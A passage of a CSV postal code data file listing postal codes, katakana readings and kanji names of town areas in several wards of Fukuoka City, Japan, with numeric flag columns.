40132,812,8120034,フクオカケン,フクオカシハカタク,シモゴフクマチ,福岡県,福岡市博多区,下呉服町,0,0,0,0,0,0 40132,816,8120855,フクオカケン,フクオカシハカタク,シモツキグマ,福岡県,福岡市博多区,下月隈,0,0,0,0,0,0 40132,816,8120876,フクオカケン,フクオカシハカタク,ショウナンマチ,福岡県,福岡市博多区,昭南町,0,0,1,0,0,0 40132,816,8120875,フクオカケン,フクオカシハカタク,シンワマチ,福岡県,福岡市博多区,新和町,0,0,1,0,0,0 40132,812,8120028,フクオカケン,フクオカシハカタク,スサキマチ,福岡県,福岡市博多区,須崎町,0,0,0,0,0,0 40132,812,8120018,フクオカケン,フクオカシハカタク,スミヨシ,福岡県,福岡市博多区,住吉,0,0,1,0,0,0 40132,812,8120032,フクオカケン,フクオカシハカタク,セキジョウマチ,福岡県,福岡市博多区,石城町,0,0,0,0,0,0 40132,812,8120033,フクオカケン,フクオカシハカタク,タイハクマチ,福岡県,福岡市博多区,大博町,0,0,0,0,0,0 40132,816,8120878,フクオカケン,フクオカシハカタク,タケオカマチ,福岡県,福岡市博多区,竹丘町,0,0,1,0,0,0 40132,816,8120895,フクオカケン,フクオカシハカタク,タケシタ,福岡県,福岡市博多区,竹下,0,0,1,0,0,0 40132,812,8120021,フクオカケン,フクオカシハカタク,チッコウホンマチ,福岡県,福岡市博多区,築港本町,0,0,0,0,0,0 40132,812,8120044,フクオカケン,フクオカシハカタク,チヨ,福岡県,福岡市博多区,千代,0,0,1,0,0,0 40132,816,8120858,フクオカケン,フクオカシハカタク,ツキグマ,福岡県,福岡市博多区,月隈,0,0,1,0,0,0 40132,812,8120024,フクオカケン,フクオカシハカタク,ツナバマチ,福岡県,福岡市博多区,綱場町,0,0,0,0,0,0 40132,812,8120020,フクオカケン,フクオカシハカタク,ツマショウジ,福岡県,福岡市博多区,対馬小路,0,0,0,0,0,0 40132,812,8120025,フクオカケン,フクオカシハカタク,テンヤマチ,福岡県,福岡市博多区,店屋町,0,0,0,0,0,0 40132,812,8120008,フクオカケン,フクオカシハカタク,トウコウ,福岡県,福岡市博多区,東光,0,0,1,0,0,0 40132,816,8120896,フクオカケン,フクオカシハカタク,トウコウジマチ,福岡県,福岡市博多区,東光寺町,0,0,1,0,0,0 40132,816,8120893,フクオカケン,フクオカシハカタク,ナカ,福岡県,福岡市博多区,那珂,0,0,1,0,0,0 40132,812,8120035,フクオカケン,フクオカシハカタク,ナカゴフクマチ,福岡県,福岡市博多区,中呉服町,0,0,0,0,0,0 40132,810,8100801,フクオカケン,フクオカシハカタク,ナカス,福岡県,福岡市博多区,中洲,0,0,1,0,0,0 40132,810,8100802,フクオカケン,フクオカシハカタク,ナカスナカシママチ,福岡県,福岡市博多区,中洲中島町,0,0,0,0,0,0 40132,812,8120023,フクオカケン,フクオカシハカタク,ナラヤマチ,福岡県,福岡市博多区,奈良屋町,0,0,0,0,0,0 40132,816,8120857,フクオカケン,フクオカシハカタク,ニシツキグマ,福岡県,福岡市博多区,西月隈,0,0,1,0,0,0 40132,816,8120873,フクオカケン,フクオカシハカタク,ニシハルマチ,福岡県,福岡市博多区,西春町,0,0,1,0,0,0 40132,812,8120012,フクオカケン,フクオカシハカタク,ハカタエキチュウオウガイ,福岡県,福岡市博多区,博多駅中央街,0,0,0,0,0,0 40132,812,8120011,フクオカケン,フクオカシハカタク,ハカタエキマエ,福岡県,福岡市博多区,博多駅前,0,0,1,0,0,0 40132,812,8120013,フクオカケン,フクオカシハカタク,ハカタエキヒガシ,福岡県,福岡市博多区,博多駅東,0,0,1,0,0,0 40132,812,8120016,フクオカケン,フクオカシハカタク,ハカタエキミナミ,福岡県,福岡市博多区,博多駅南,0,0,1,0,0,0 40132,816,8120872,フクオカケン,フクオカシハカタク,ハルマチ,福岡県,福岡市博多区,春町,0,0,1,0,0,0 40132,816,8120897,フクオカケン,フクオカシハカタク,ハンミチバシ,福岡県,福岡市博多区,半道橋,0,0,1,0,0,0 40132,812,8120014,フクオカケン,フクオカシハカタク,ヒエマチ,福岡県,福岡市博多区,比恵町,0,0,0,0,0,0 40132,816,8120874,フクオカケン,フクオカシハカタク,ヒカリガオカマチ,福岡県,福岡市博多区,光丘町,0,0,1,0,0,0 40132,812,8120045,フクオカケン,フクオカシハカタク,ヒガシコウエン,福岡県,福岡市博多区,東公園,0,0,0,0,0,0 40132,816,8120854,フクオカケン,フクオカシハカタク,ヒガシツキグマ,福岡県,福岡市博多区,東月隈,0,0,1,0,0,0 40132,816,8120892,フクオカケン,フクオカシハカタク,ヒガシナカ,福岡県,福岡市博多区,東那珂,0,0,1,0,0,0 40132,812,8120007,フクオカケン,フクオカシハカタク,ヒガシヒエ,福岡県,福岡市博多区,東比恵,0,0,1,0,0,0 40132,816,8120853,フクオカケン,フクオカシハカタク,ヒガシヒラオ,福岡県,福岡市博多区,東平尾,0,0,0,0,0,0 40132,816,8120852,フクオカケン,フクオカシハカタク,ヒガシヒラオコウエン,福岡県,福岡市博多区,東平尾公園,0,0,1,0,0,0 40132,816,8120886,フクオカケン,フクオカシハカタク,ミナミハチマンマチ,福岡県,福岡市博多区,南八幡町,0,0,1,0,0,0 40132,816,8120883,フクオカケン,フクオカシハカタク,ミナミホンマチ,福岡県,福岡市博多区,南本町,0,0,1,0,0,0 40132,812,8120017,フクオカケン,フクオカシハカタク,ミノシマ,福岡県,福岡市博多区,美野島,0,0,1,0,0,0 40132,816,8120882,フクオカケン,フクオカシハカタク,ムギノ,福岡県,福岡市博多区,麦野,0,0,1,0,0,0 40132,816,8120877,フクオカケン,フクオカシハカタク,モトマチ,福岡県,福岡市博多区,元町,0,0,1,0,0,0 40132,816,8120894,フクオカケン,フクオカシハカタク,モロオカ,福岡県,福岡市博多区,諸岡,0,0,1,0,0,0 40132,812,8120042,フクオカケン,フクオカシハカタク,ユタカ,福岡県,福岡市博多区,豊,0,0,1,0,0,0 40132,812,8120041,フクオカケン,フクオカシハカタク,ヨシヅカ,福岡県,福岡市博多区,吉塚,0,0,1,0,0,0 40132,812,8120046,フクオカケン,フクオカシハカタク,ヨシヅカホンマチ,福岡県,福岡市博多区,吉塚本町,0,0,0,0,0,0 40132,816,8120862,フクオカケン,フクオカシハカタク,リュウゲジ,福岡県,福岡市博多区,立花寺,0,0,1,0,0,0 40132,812,8120039,フクオカケン,フクオカシハカタク,レイセンマチ,福岡県,福岡市博多区,冷泉町,0,0,0,0,0,0 40133,810,8100000,フクオカケン,フクオカシチュウオウク,イカニケイサイガナイバアイ,福岡県,福岡市中央区,以下に掲載がない場合,0,0,0,0,0,0 40133,810,8100042,フクオカケン,フクオカシチュウオウク,アカサカ,福岡県,福岡市中央区,赤坂,0,0,1,0,0,0 40133,810,8100076,フクオカケン,フクオカシチュウオウク,アラツ,福岡県,福岡市中央区,荒津,0,0,1,0,0,0 40133,810,8100062,フクオカケン,フクオカシチュウオウク,アラト,福岡県,福岡市中央区,荒戸,0,0,1,0,0,0 40133,810,8100067,フクオカケン,フクオカシチュウオウク,イザキ,福岡県,福岡市中央区,伊崎,0,0,0,0,0,0 40133,810,8100021,フクオカケン,フクオカシチュウオウク,イマイズミ,福岡県,福岡市中央区,今泉,0,0,1,0,0,0 40133,810,8100054,フクオカケン,フクオカシチュウオウク,イマガワ,福岡県,福岡市中央区,今川,0,0,1,0,0,0 40133,810,8100074,フクオカケン,フクオカシチュウオウク,オオテモン,福岡県,福岡市中央区,大手門,0,0,1,0,0,0 40133,810,8100052,フクオカケン,フクオカシチュウオウク,オオホリ,福岡県,福岡市中央区,大濠,0,0,1,0,0,0 40133,810,8100051,フクオカケン,フクオカシチュウオウク,オオホリコウエン,福岡県,福岡市中央区,大濠公園,0,0,0,0,0,0 40133,810,8100013,フクオカケン,フクオカシチュウオウク,オオミヤ,福岡県,福岡市中央区,大宮,0,0,1,0,0,0 40133,810,8100033,フクオカケン,フクオカシチュウオウク,オザサ,福岡県,福岡市中央区,小笹,0,0,1,0,0,0 40133,810,8100005,フクオカケン,フクオカシチュウオウク,キヨカワ,福岡県,福岡市中央区,清川,0,0,1,0,0,0 40133,810,8100045,フクオカケン,フクオカシチュウオウク,クサガエ,福岡県,福岡市中央区,草香江,0,0,1,0,0,0 40133,810,8100055,フクオカケン,フクオカシチュウオウク,クロモン,福岡県,福岡市中央区,黒門,0,0,0,0,0,0 40133,810,8100023,フクオカケン,フクオカシチュウオウク,ケゴ,福岡県,福岡市中央区,警固,0,0,1,0,0,0 40133,810,8100027,フクオカケン,フクオカシチュウオウク,ゴショガダニ,福岡県,福岡市中央区,御所ケ谷,0,0,0,0,0,0 40133,810,8100024,フクオカケン,フクオカシチュウオウク,サクラザカ,福岡県,福岡市中央区,桜坂,0,0,1,0,0,0 40133,810,8100034,フクオカケン,フクオカシチュウオウク,ササオカ,福岡県,福岡市中央区,笹丘,0,0,1,0,0,0 40133,810,8100018,フクオカケン,フクオカシチュウオウク,サンソウドオリ,福岡県,福岡市中央区,山荘通,0,0,1,0,0,0 40133,810,8100028,フクオカケン,フクオカシチュウオウク,ジョウスイドオリ,福岡県,福岡市中央区,浄水通,0,0,0,0,0,0 40133,810,8100043,フクオカケン,フクオカシチュウオウク,ジョウナイ,福岡県,福岡市中央区,城内,0,0,0,0,0,0 40133,810,8100012,フクオカケン,フクオカシチュウオウク,シロガネ,福岡県,福岡市中央区,白金,0,0,1,0,0,0 40133,810,8100064,フクオカケン,フクオカシチュウオウク,ジギョウ,福岡県,福岡市中央区,地行,0,0,1,0,0,0 40133,810,8100065,フクオカケン,フクオカシチュウオウク,ジギョウハマ,福岡県,福岡市中央区,地行浜,0,0,1,0,0,0 40133,810,8100041,フクオカケン,フクオカシチュウオウク,ダイミョウ,福岡県,福岡市中央区,大名,0,0,1,0,0,0 40133,810,8100011,フクオカケン,フクオカシチュウオウク,タカサゴ,福岡県,福岡市中央区,高砂,0,0,1,0,0,0 40133,810,8100031,フクオカケン,フクオカシチュウオウク,タニ,福岡県,福岡市中央区,谷,0,0,1,0,0,0 40133,810,8100032,フクオカケン,フクオカシチュウオウク,テルクニ,福岡県,福岡市中央区,輝国,0,0,1,0,0,0 40133,810,8100001,フクオカケン,フクオカシチュウオウク,テンジン,福岡県,福岡市中央区,天神,0,0,1,0,0,0 40133,810,8100063,フクオカケン,フクオカシチュウオウク,トウジンマチ,福岡県,福岡市中央区,唐人町,0,0,1,0,0,0 40133,810,8100053,フクオカケン,フクオカシチュウオウク,トリカイ,福岡県,福岡市中央区,鳥飼,0,0,1,0,0,0 40133,810,8100072,フクオカケン,フクオカシチュウオウク,ナガハマ,福岡県,福岡市中央区,長浜,0,0,1,0,0,0 40133,810,8100015,フクオカケン,フクオカシチュウオウク,ナノカワ,福岡県,福岡市中央区,那の川,0,0,1,0,0,0 40133,810,8100071,フクオカケン,フクオカシチュウオウク,ナノツ,福岡県,福岡市中央区,那の津,0,0,1,0,0,0 40133,810,8100061,フクオカケン,フクオカシチュウオウク,ニシコウエン,福岡県,福岡市中央区,西公園,0,0,0,0,0,0 40133,810,8100002,フクオカケン,フクオカシチュウオウク,ニシナカス,福岡県,福岡市中央区,西中洲,0,0,0,0,0,0 40133,810,8100035,フクオカケン,フクオカシチュウオウク,バイコウエン,福岡県,福岡市中央区,梅光園,0,0,1,0,0,0 40133,810,8100036,フクオカケン,フクオカシチュウオウク,バイコウエンダンチ,福岡県,福岡市中央区,梅光園団地,0,0,0,0,0,0 40133,810,8100003,フクオカケン,フクオカシチュウオウク,ハルヨシ,福岡県,福岡市中央区,春吉,0,0,1,0,0,0 40133,810,8100014,フクオカケン,フクオカシチュウオウク,ヒラオ,福岡県,福岡市中央区,平尾,0,0,1,0,0,0 40133,810,8100017,フクオカケン,フクオカシチュウオウク,ヒラオカマチ,福岡県,福岡市中央区,平丘町,0,0,0,0,0,0 40133,810,8100029,フクオカケン,フクオカシチュウオウク,ヒラオジョウスイマチ,福岡県,福岡市中央区,平尾浄水町,0,0,0,0,0,0 40133,810,8100066,フクオカケン,フクオカシチュウオウク,フクハマ,福岡県,福岡市中央区,福浜,0,0,1,0,0,0 40133,810,8100026,フクオカケン,フクオカシチュウオウク,フルコガラスマチ,福岡県,福岡市中央区,古小烏町,0,0,0,0,0,0 40133,810,8100016,フクオカケン,フクオカシチュウオウク,ヘイワ,福岡県,福岡市中央区,平和,0,0,1,0,0,0 40133,810,8100073,フクオカケン,フクオカシチュウオウク,マイヅル,福岡県,福岡市中央区,舞鶴,0,0,1,0,0,0 40133,810,8100075,フクオカケン,フクオカシチュウオウク,ミナト,福岡県,福岡市中央区,港,0,0,1,0,0,0 40133,810,8100037,フクオカケン,フクオカシチュウオウク,ミナミコウエン,福岡県,福岡市中央区,南公園,0,0,0,0,0,0 40133,810,8100022,フクオカケン,フクオカシチュウオウク,ヤクイン,福岡県,福岡市中央区,薬院,0,0,1,0,0,0 40133,810,8100025,フクオカケン,フクオカシチュウオウク,ヤクインイフクマチ,福岡県,福岡市中央区,薬院伊福町,0,0,0,0,0,0 40133,810,8100044,フクオカケン,フクオカシチュウオウク,ロッポンマツ,福岡県,福岡市中央区,六本松,0,0,1,0,0,0 40133,810,8100004,フクオカケン,フクオカシチュウオウク,ワタナベドオリ,福岡県,福岡市中央区,渡辺通,0,0,1,0,0,0 40134,815,8150000,フクオカケン,フクオカシミナミク,イカニケイサイガナイバアイ,福岡県,福岡市南区,以下に掲載がない場合,0,0,0,0,0,0 40134,816,8111302,フクオカケン,フクオカシミナミク,イジリ,福岡県,福岡市南区,井尻,0,0,1,0,0,0 40134,815,8150084,フクオカケン,フクオカシミナミク,イチザキ,福岡県,福岡市南区,市崎,0,0,1,0,0,0 40134,815,8150073,フクオカケン,フクオカシミナミク,オオイケ,福岡県,福岡市南区,大池,0,0,1,0,0,0 40134,815,8150082,フクオカケン,フクオカシミナミク,オオグス,福岡県,福岡市南区,大楠,0,0,1,0,0,0 40134,815,8150033,フクオカケン,フクオカシミナミク,オオハシ,福岡県,福岡市南区,大橋,0,0,1,0,0,0 40134,815,8150038,フクオカケン,フクオカシミナミク,オオハシダンチ,福岡県,福岡市南区,大橋団地,0,0,0,0,0,0 40134,816,8111313,フクオカケン,フクオカシミナミク,オサ,福岡県,福岡市南区,曰佐,0,0,1,0,0,0 40134,816,8111303,フクオカケン,フクオカシミナミク,オリタテマチ,福岡県,福岡市南区,折立町,0,0,0,0,0,0 40134,815,8111353,フクオカケン,フクオカシミナミク,カシワラ,福岡県,福岡市南区,柏原,0,0,1,0,0,0 40134,816,8111324,フクオカケン,フクオカシミナミク,ケヤゴウ,福岡県,福岡市南区,警弥郷,0,0,1,0,0,0 40134,816,8150001,フクオカケン,フクオカシミナミク,ゴジッカワ,福岡県,福岡市南区,五十川,0,0,1,0,0,0 40134,815,8111365,フクオカケン,フクオカシミナミク,サラヤマ,福岡県,福岡市南区,皿山,0,0,1,0,0,0 40134,815,8150032,フクオカケン,フクオカシミナミク,シオバル,福岡県,福岡市南区,塩原,0,0,1,0,0,0 40134,815,8150031,フクオカケン,フクオカシミナミク,シミズ,福岡県,福岡市南区,清水,0,0,1,0,0,0 40134,815,8111354,フクオカケン,フクオカシミナミク,タイヘイジ,福岡県,福岡市南区,大平寺,0,0,1,0,0,0 40134,816,8150004,フクオカケン,フクオカシミナミク,タカキ,福岡県,福岡市南区,高木,0,0,1,0,0,0 40134,815,8150083,フクオカケン,フクオカシミナミク,タカミヤ,福岡県,福岡市南区,高宮,0,0,1,0,0,0 40134,815,8150072,フクオカケン,フクオカシミナミク,タガ,福岡県,福岡市南区,多賀,0,0,1,0,0,0 40134,815,8150037,フクオカケン,フクオカシミナミク,タマガワマチ,福岡県,福岡市南区,玉川町,0,0,0,0,0,0 40134,815,8150036,フクオカケン,フクオカシミナミク,チクシガオカ,福岡県,福岡市南区,筑紫丘,0,0,1,0,0,0 40134,815,8111352,フクオカケン,フクオカシミナミク,ツルタ,福岡県,福岡市南区,鶴田,0,0,1,0,0,0 40134,815,8150074,フクオカケン,フクオカシミナミク,テラヅカ,福岡県,福岡市南区,寺塚,0,0,1,0,0,0 40134,815,8111364,フクオカケン,フクオカシミナミク,ナカオ,福岡県,福岡市南区,中尾,0,0,1,0,0,0 40134,815,8150075,フクオカケン,フクオカシミナミク,ナガオカ,福岡県,福岡市南区,長丘,0,0,1,0,0,0 40134,815,8111362,フクオカケン,フクオカシミナミク,ナガズミ,福岡県,福岡市南区,長住,0,0,1,0,0,0 40134,815,8150081,フクオカケン,フクオカシミナミク,ナノカワ,福岡県,福岡市南区,那の川,0,0,1,0,0,0 40134,815,8111361,フクオカケン,フクオカシミナミク,ニシナガズミ,福岡県,福岡市南区,西長住,0,0,1,0,0,0 40134,815,8111347,フクオカケン,フクオカシミナミク,ノタメ,福岡県,福岡市南区,野多目,0,0,1,0,0,0 40134,815,8150041,フクオカケン,フクオカシミナミク,ノマ,福岡県,福岡市南区,野間,0,0,1,0,0,0 40134,815,8111356,フクオカケン,フクオカシミナミク,ハナハタ,福岡県,福岡市南区,花畑,0,0,1,0,0,0 40134,815,8111355,フクオカケン,フクオカシミナミク,ヒバル,福岡県,福岡市南区,桧原,0,0,1,0,0,0 40134,815,8150071,フクオカケン,フクオカシミナミク,ヘイワ,福岡県,福岡市南区,平和,0,0,1,0,0,0 40134,816,8111314,フクオカケン,フクオカシミナミク,マトバ,福岡県,福岡市南区,的場,0,0,1,0,0,0 40134,815,8150034,フクオカケン,フクオカシミナミク,ミナミオオハシ,福岡県,福岡市南区,南大橋,0,0,1,0,0,0 40134,815,8111344,フクオカケン,フクオカシミナミク,ミヤケ,福岡県,福岡市南区,三宅,0,0,1,0,0,0 40134,815,8111345,フクオカケン,フクオカシミナミク,ムカイシンマチ,福岡県,福岡市南区,向新町,0,0,1,0,0,0 40134,815,8150035,フクオカケン,フクオカシミナミク,ムカイノ,福岡県,福岡市南区,向野,0,0,1,0,0,0 40134,815,8111351,フクオカケン,フクオカシミナミク,ヤカタバル,福岡県,福岡市南区,屋形原,0,0,1,0,0,0 40134,816,8111323,フクオカケン,フクオカシミナミク,ヤナガ,福岡県,福岡市南区,弥永,0,0,1,0,0,0 40134,816,8111322,フクオカケン,フクオカシミナミク,ヤナガダンチ,福岡県,福岡市南区,弥永団地,0,0,0,0,0,0 40134,815,8150063,フクオカケン,フクオカシミナミク,ヤナゴウチ,福岡県,福岡市南区,柳河内,0,0,1,0,0,0 40134,816,8111321,フクオカケン,フクオカシミナミク,ヤナセ,福岡県,福岡市南区,柳瀬,0,0,1,0,0,0 40134,816,8111311,フクオカケン,フクオカシミナミク,ヨコテ,福岡県,福岡市南区,横手,0,0,1,0,0,0 40134,816,8111312,フクオカケン,フクオカシミナミク,ヨコテミナミマチ,福岡県,福岡市南区,横手南町,0,0,0,0,0,0 40134,815,8111346,フクオカケン,フクオカシミナミク,ロウジ,福岡県,福岡市南区,老司,0,0,1,0,0,0 40134,815,8150042,フクオカケン,フクオカシミナミク,ワカヒサ,福岡県,福岡市南区,若久,0,0,1,0,0,0 40134,815,8150048,フクオカケン,フクオカシミナミク,ワカヒサダンチ,福岡県,福岡市南区,若久団地,0,0,0,0,0,0 40134,815,8111343,フクオカケン,フクオカシミナミク,ワダ,福岡県,福岡市南区,和田,0,0,1,0,0,0 40135,819,8190000,フクオカケン,フクオカシニシク,イカニケイサイガナイバアイ,福岡県,福岡市西区,以下に掲載がない場合,0,0,0,0,0,0 40135,819,8190015,フクオカケン,フクオカシニシク,アタゴ,福岡県,福岡市西区,愛宕,0,0,1,0,0,0 40135,819,8190013,フクオカケン,フクオカシニシク,アタゴハマ,福岡県,福岡市西区,愛宕浜,0,0,1,0,0,0 40135,819,8190007,フクオカケン,フクオカシニシク,アタゴミナミ,福岡県,福岡市西区,愛宕南,0,0,1,0,0,0 40135,81903,8190371,フクオカケン,フクオカシニシク,イイジ,福岡県,福岡市西区,飯氏,0,0,0,0,0,0 40135,819,8190037,フクオカケン,フクオカシニシク,イイモリ,福岡県,福岡市西区,飯盛,0,0,0,0,0,0 40135,819,8190042,フクオカケン,フクオカシニシク,イキダンチ,福岡県,福岡市西区,壱岐団地,0,0,0,0,0,0 40135,819,8190055,フクオカケン,フクオカシニシク,イキノマツバラ,福岡県,福岡市西区,生の松原,0,0,1,0,0,0 40135,819,8190044,フクオカケン,フクオカシニシク,イキマツダイ,福岡県,福岡市西区,生松台,0,0,1,0,0,0 40135,819,8190025,フクオカケン,フクオカシニシク,イシマル,福岡県,福岡市西区,石丸,0,0,1,0,0,0 40135,81903,8190381,フクオカケン,フクオカシニシク,イズミ,福岡県,福岡市西区,泉,0,0,1,0,0,0 40135,81901,8190167,フクオカケン,フクオカシニシク,イマジュク,福岡県,福岡市西区,今宿,0,0,1,0,0,0 40135,81901,8190162,フクオカケン,フクオカシニシク,イマジュクアオキ,福岡県,福岡市西区,今宿青木,0,0,0,0,0,0 40135,81901,8190168,フクオカケン,フクオカシニシク,イマジュクエキマエ,福岡県,福岡市西区,今宿駅前,0,0,1,0,0,0 40135,81901,8190163,フクオカケン,フクオカシニシク,イマジュクカミノハル,福岡県,福岡市西区,今宿上ノ原,0,0,0,0,0,0 40135,81901,8190164,フクオカケン,フクオカシニシク,イマジュクマチ,福岡県,福岡市西区,今宿町,0,0,0,0,0,0 40135,81901,8190161,フクオカケン,フクオカシニシク,イマジュクヒガシ,福岡県,福岡市西区,今宿東,0,0,1,0,0,0 40135,81901,8190165,フクオカケン,フクオカシニシク,イマヅ,福岡県,福岡市西区,今津,0,0,0,0,0,0 40135,81903,8190372,フクオカケン,フクオカシニシク,ウダガワラ,福岡県,福岡市西区,宇田川原,0,0,0,0,0,0 40135,819,8190005,フクオカケン,フクオカシニシク,ウチハマ,福岡県,福岡市西区,内浜,0,0,1,0,0,0 40135,819,8190021,フクオカケン,フクオカシニシク,オオマチダンチ,福岡県,福岡市西区,大町団地,0,0,0,0,0,0 40135,819,8190001,フクオカケン,フクオカシニシク,オド,福岡県,福岡市西区,小戸,0,0,1,0,0,0 40135,819,8190011,フクオカケン,フクオカシニシク,オロノシマ,福岡県,福岡市西区,小呂島,0,0,0,0,0,0 40135,819,8190035,フクオカケン,フクオカシニシク,カナタケ,福岡県,福岡市西区,金武,0,0,0,0,0,0 40135,819,8190054,フクオカケン,フクオカシニシク,カミヤマト,福岡県,福岡市西区,上山門,0,0,1,0,0,0 40135,81903,8190388,フクオカケン,フクオカシニシク,キュウダイシンマチ,福岡県,福岡市西区,九大新町,0,0,0,0,0,0 40135,81902,8190204,フクオカケン,フクオカシニシク,クサバ,福岡県,福岡市西区,草場,0,0,0,0,0,0 40135,81903,8190382,フクオカケン,フクオカシニシク,クワバラ,福岡県,福岡市西区,桑原,0,0,0,0,0,0 40135,81902,8190205,フクオカケン,フクオカシニシク,ゲンカイシマ,福岡県,福岡市西区,玄界島,0,0,0,0,0,0 40135,81902,8190203,フクオカケン,フクオカシニシク,コタ,福岡県,福岡市西区,小田,0,0,0,0,0,0 40135,819,8190052,フクオカケン,フクオカシニシク,シモヤマト,福岡県,福岡市西区,下山門,0,0,1,0,0,0 40135,819,8190051,フクオカケン,フクオカシニシク,シモヤマトダンチ,福岡県,福岡市西区,下山門団地,0,0,0,0,0,0 40135,819,8190024,フクオカケン,フクオカシニシク,ジュウロウガワダンチ,福岡県,福岡市西区,十郎川団地,0,0,0,0,0,0 40135,819,8190041,フクオカケン,フクオカシニシク,ジュウロクチョウ,福岡県,福岡市西区,拾六町,0,0,1,0,0,0 40135,819,8190045,フクオカケン,フクオカシニシク,ジュウロクチョウダンチ,福岡県,福岡市西区,拾六町団地,0,0,0,0,0,0 40135,819,8190053,フクオカケン,フクオカシニシク,ジョウノハルダンチ,福岡県,福岡市西区,城の原団地,0,0,0,0,0,0 40135,81903,8190373,フクオカケン,フクオカシニシク,スセンジ,福岡県,福岡市西区,周船寺,0,0,1,0,0,0 40135,81903,8190374,フクオカケン,フクオカシニシク,センリ,福岡県,福岡市西区,千里,0,0,0,0,0,0 40135,819,8190034,フクオカケン,フクオカシニシク,タ,福岡県,福岡市西区,田,0,0,0,0,0,0 40135,81903,8190383,フクオカケン,フクオカシニシク,タジリ,福岡県,福岡市西区,田尻,0,0,1,0,0,0 40135,81903,8190384,フクオカケン,フクオカシニシク,タロウマル,福岡県,福岡市西区,太郎丸,0,0,1,0,0,0 40135,819,8190032,フクオカケン,フクオカシニシク,トギレ,福岡県,福岡市西区,戸切,0,0,1,0,0,0 40135,81903,8190375,フクオカケン,フクオカシニシク,トクナガ,福岡県,福岡市西区,徳永,0,0,0,0,0,0 40135,819,8190014,フクオカケン,フクオカシニシク,トヨハマ,福岡県,福岡市西区,豊浜,0,0,1,0,0,0 40135,819,8190039,フクオカケン,フクオカシニシク,ニシイリベ,福岡県,福岡市西区,西入部,0,0,0,0,0,0 40135,81902,8190202,フクオカケン,フクオカシニシク,ニシノウラ,福岡県,福岡市西区,西浦,0,0,0,0,0,0 40135,819,8190046,フクオカケン,フクオカシニシク,ニシノオカ,福岡県,福岡市西区,西の丘,0,0,1,0,0,0 40135,819,8190043,フクオカケン,フクオカシニシク,ノカタ,福岡県,福岡市西区,野方,0,0,1,0,0,0 40135,819,8190012,フクオカケン,フクオカシニシク,ノコ,福岡県,福岡市西区,能古,0,0,0,0,0,0 40135,819,8190033,フクオカケン,フクオカシニシク,ハシモト(オオアザ),福岡県,福岡市西区,橋本(大字),1,0,1,0,0,0 40135,819,8190031,フクオカケン,フクオカシニシク,ハシモト(チョウメ),福岡県,福岡市西区,橋本(丁目),1,0,1,0,0,0 40135,819,8190038,フクオカケン,フクオカシニシク,ハネド,福岡県,福岡市西区,羽根戸,0,0,0,0,0,0 40135,819,8190022,フクオカケン,フクオカシニシク,フクシゲ,福岡県,福岡市西区,福重,0,0,1,0,0,0 40135,819,8190023,フクオカケン,フクオカシニシク,フクシゲダンチ,福岡県,福岡市西区,福重団地,0,0,0,0,0,0 40135,81903,8190387,フクオカケン,フクオカシニシク,フジミ,福岡県,福岡市西区,富士見,0,0,1,0,0,0 40135,81902,8190201,フクオカケン,フクオカシニシク,ミヤノウラ,福岡県,福岡市西区,宮浦,0,0,0,0,0,0 40135,81903,8190376,フクオカケン,フクオカシニシク,ミョウバル,福岡県,福岡市西区,女原,0,0,0,0,0,0 40135,819,8190030,フクオカケン,フクオカシニシク,ムロミガオカ,福岡県,福岡市西区,室見が丘,0,0,1,0,0,0 40135,819,8190002,フクオカケン,フクオカシニシク,メイノハマ,福岡県,福岡市西区,姪の浜,0,0,1,0,0,0 40135,819,8190006,フクオカケン,フクオカシニシク,メイノハマエキミナミ,福岡県,福岡市西区,姪浜駅南,0,0,1,0,0,0 40135,81903,8190385,フクオカケン,フクオカシニシク,モトオカ,福岡県,福岡市西区,元岡,0,0,0,0,0,0 40135,81903,8190386,フクオカケン,フクオカシニシク,モトハマ,福岡県,福岡市西区,元浜,0,0,1,0,0,0 40135,81901,8190166,フクオカケン,フクオカシニシク,ヨコハマ(1-2チョウメ),福岡県,福岡市西区,横浜(1〜2丁目),1,0,1,0,0,0 40135,81903,8190366,フクオカケン,フクオカシニシク,ヨコハマ(3チョウメ),福岡県,福岡市西区,横浜(3丁目),1,0,1,0,0,0 40135,819,8190036,フクオカケン,フクオカシニシク,ヨシタケ,福岡県,福岡市西区,吉武,0,0,0,0,0,0 40136,81401,8140100,フクオカケン,フクオカシジョウナンク,イカニケイサイガナイバアイ,福岡県,福岡市城南区,以下に掲載がない場合,0,0,0,0,0,0 40136,81401,8140101,フクオカケン,フクオカシジョウナンク,アラエ,福岡県,福岡市城南区,荒江,0,0,1,0,0,0 40136,81401,8140102,フクオカケン,フクオカシジョウナンク,アラエダンチ,福岡県,福岡市城南区,荒江団地,0,0,0,0,0,0 40136,81401,8140134,フクオカケン,フクオカシジョウナンク,イイクラ,福岡県,福岡市城南区,飯倉,0,0,1,0,0,0 40136,81401,8140144,フクオカケン,フクオカシジョウナンク,ウメバヤシ,福岡県,福岡市城南区,梅林,0,0,1,0,0,0 40136,81401,8140142,フクオカケン,フクオカシジョウナンク,カタエ,福岡県,福岡市城南区,片江,0,0,0,0,0,0 40136,81401,8140114,フクオカケン,フクオカシジョウナンク,カナヤマダンチ,福岡県,福岡市城南区,金山団地,0,0,0,0,0,0 40136,81401,8140105,フクオカケン,フクオカシジョウナンク,ジョウセイダンチ,福岡県,福岡市城南区,城西団地,0,0,0,0,0,0 40136,81401,8140121,フクオカケン,フクオカシジョウナンク,シンショウジ,福岡県,福岡市城南区,神松寺,0,0,1,0,0,0 40136,81401,8140154,フクオカケン,フクオカシジョウナンク,タカラダイダンチ,福岡県,福岡市城南区,宝台団地,0,0,0,0,0,0 40136,81401,8140113,フクオカケン,フクオカシジョウナンク,タシマ,福岡県,福岡市城南区,田島,0,0,1,0,0,0 40136,81401,8140111,フクオカケン,フクオカシジョウナンク,チャヤマ,福岡県,福岡市城南区,茶山,0,0,1,0,0,0 40136,81401,8140151,フクオカケン,フクオカシジョウナンク,ツツミ,福岡県,福岡市城南区,堤,0,0,1,0,0,0 40136,81401,8140152,フクオカケン,フクオカシジョウナンク,ツツミダンチ,福岡県,福岡市城南区,堤団地,0,0,0,0,0,0 40136,81401,8140112,フクオカケン,フクオカシジョウナンク,トモオカ,福岡県,福岡市城南区,友丘,0,0,1,0,0,0 40136,81401,8140103,フクオカケン,フクオカシジョウナンク,トリカイ,福岡県,福岡市城南区,鳥飼,0,0,1,0,0,0 40136,81401,8140123,フクオカケン,フクオカシジョウナンク,ナガオ,福岡県,福岡市城南区,長尾,0,0,1,0,0,0 40136,81401,8140133,フクオカケン,フクオカシジョウナンク,ナナクマ,福岡県,福岡市城南区,七隈,0,0,0,0,0,0 